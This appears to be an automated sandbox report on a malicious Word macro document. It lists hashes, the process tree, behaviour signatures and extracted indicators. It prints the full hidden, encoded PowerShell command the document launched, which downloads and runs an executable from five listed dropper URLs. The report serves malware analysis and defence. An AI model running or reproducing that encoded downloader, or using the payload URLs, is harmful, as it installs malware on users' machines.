Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 20:34

General

  • Target

    6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc

  • Size

    94KB

  • MD5

    6889974ddc269eae29f7a949b34d04bc

  • SHA1

    bb88e3ac46fc503308959e7f964b4130a4b39357

  • SHA256

    4c58c854ad7652ac73829058b405f7b2dd40e803ef3be318090ee2ee43de1a07

  • SHA512

    08b7bf8a129a97ba4450a04c080e1e31fc8be1325037536b7da4ff2d3ba7e938e081a4adaa90713d7bd3f96ab808299503537dbf9cae8970b613e299ced18ad4

  • SSDEEP

    1536:xXDMeO8oY5C6OJsdBpZW2aMQs666yT+t3hieCnpYjSKxrtN:J4eroY5CTsdA2OI23hccT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samuelearba.com/wp-includes/g2fn1q5591/

exe.dropper

https://rudalov.com/clientes/hroimxt621/

exe.dropper

http://rhythmandbluescompany.com/pimages/4vq32/

exe.dropper

http://ruttv.com/cams/rb5b5/

exe.dropper

http://sampling-group.com/site_espanol/bo3/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6889974ddc269eae29f7a949b34d04bc_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3376
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2248
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHkAcABqAGgAcgB4AGoAaQBiAD0AJwBJAHQAcgByAGUAbAB6AGUAdQBoAHoAdgAnADsAJABFAGIAdABuAGMAagBkAHAAawBrAHcAIAA9ACAAJwA5ADUANQAnADsAJABZAGwAYgB6AGQAdwBpAGwAPQAnAEoAagBhAGsAZAB2AHoAbgB1AHUAcABtACcAOwAkAFUAdgByAGwAawBzAHIAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBiAHQAbgBjAGoAZABwAGsAawB3ACsAJwAuAGUAeABlACcAOwAkAFoAeABzAHMAeQB5AHQAawBnAD0AJwBZAGgAYwBkAHYAegBpAGUAdwB2AGMAeQB0ACcAOwAkAEcAcwBoAG8AbwBrAHUAcwBhAGUAdgBsAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBCAEMAbABJAGUAbgBUADsAJABLAHUAbABnAG0AZABsAGMAPQAnAGgAdAB0AHAAOgAvAC8AcwBhAG0AdQBlAGwAZQBhAHIAYgBhAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBnADIAZgBuADEAcQA1ADUAOQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AcgB1AGQAYQBsAG8AdgAuAGMAbwBtAC8AYwBsAGkAZQBuAHQAZQBzAC8AaAByAG8AaQBtAHgAdAA2ADIAMQAvACoAaAB0AHQAcAA6AC8ALwByAGgAeQB0AGgAbQBhAG4AZABiAGwAdQBlAHMAYwBvAG0AcABhAG4AeQAuAGMAbwBtAC8AcABpAG0AYQBnAGUAcwAvADQAdgBxADMAMgAvACoAaAB0AHQAcAA6AC8ALwByAHUAdAB0AHYALgBjAG8AbQAvAGMAYQBtAHMALwByAGIANQBiADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAG0AcABsAGkAbgBnAC0AZwByAG8AdQBwAC4AYwBvAG0ALwBzAGkAdABlAF8AZQBzAHAAYQBuAG8AbAAvAGIAbwAzAC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEEAaQBlAGcAbgBtAG0AdgBhAGcAPQAnAE0AbgBjAHkAZABtAG0AZgBvAHcAawAnADsAZgBvAHIAZQBhAGMAaAAoACQARAByAG4AaABsAGIAcABtAGQAbQBjAGEAbQAgAGkAbgAgACQASwB1AGwAZwBtAGQAbABjACkAewB0AHIAeQB7ACQARwBzAGgAbwBvAGsAdQBzAGEAZQB2AGwALgAiAEQATwBgAFcATgBsAE8AYQBkAGAARgBpAGAAbABFACIAKAAkAEQAcgBuAGgAbABiAHAAbQBkAG0AYwBhAG0ALAAgACQAVQB2AHIAbABrAHMAcgByACkAOwAkAEgAaQBjAGoAeAB5AHoAYgBtAHkAawBnAD0AJwBNAGwAbABjAHcAcgBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABVAHYAcgBsAGsAcwByAHIAKQAuACIAbABlAE4AYABnAFQAaAAiACAALQBnAGUAIAAzADMAMwAyADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAQQByAHQAIgAoACQAVQB2AHIAbABrAHMAcgByACkAOwAkAFkAbQBoAGwAeQBkAHkAZgBtAGYAZQBrAG0APQAnAEUAcABhAG8AcgBzAGQAbQB6ACcAOwBiAHIAZQBhAGsAOwAkAFUAbgBoAGwAbABxAGkAbQA9ACcAUgBxAG4AdgBtAGEAbgB1AGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAG0AdAB2AGMAYwBlAHYAegBpAHMAdgBqAD0AJwBBAHQAbgBjAHoAZQB2AG4AegBtAHQAZgByACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CEFAE11A.wmf

      Filesize

      444B

      MD5

      d71ebc93e738adf141c50f4608a3c843

      SHA1

      53a26fde9fd3cf10f045629d6fc9f8492e392458

      SHA256

      2fe1ee0025ff2f805ef73f3eb2223e26328ae9aabc8ca72396bf87c18cbce463

      SHA512

      edaeb22863c6da6bf9c1c5913d5f431a09f95219afe601b1a93191153dbc2dc784950ddaece4e1e746f7cb4bea96754d587a51ddf338046bab5a0d719e5bcf02

    • C:\Users\Admin\AppData\Local\Temp\TCD8DA8.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzcwgcqc.acp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1956-64-0x000001775E110000-0x000001775E132000-memory.dmp

      Filesize

      136KB

    • memory/3376-9-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-18-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-6-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-0-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-8-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-10-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-12-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-13-0x00007FF8C50E0000-0x00007FF8C50F0000-memory.dmp

      Filesize

      64KB

    • memory/3376-11-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-7-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-15-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-14-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-16-0x00007FF8C50E0000-0x00007FF8C50F0000-memory.dmp

      Filesize

      64KB

    • memory/3376-1-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-19-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-17-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-4-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-5-0x00007FF90794D000-0x00007FF90794E000-memory.dmp

      Filesize

      4KB

    • memory/3376-3-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-2-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-556-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB

    • memory/3376-584-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-585-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-586-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-583-0x00007FF8C7930000-0x00007FF8C7940000-memory.dmp

      Filesize

      64KB

    • memory/3376-587-0x00007FF9078B0000-0x00007FF907AA5000-memory.dmp

      Filesize

      2.0MB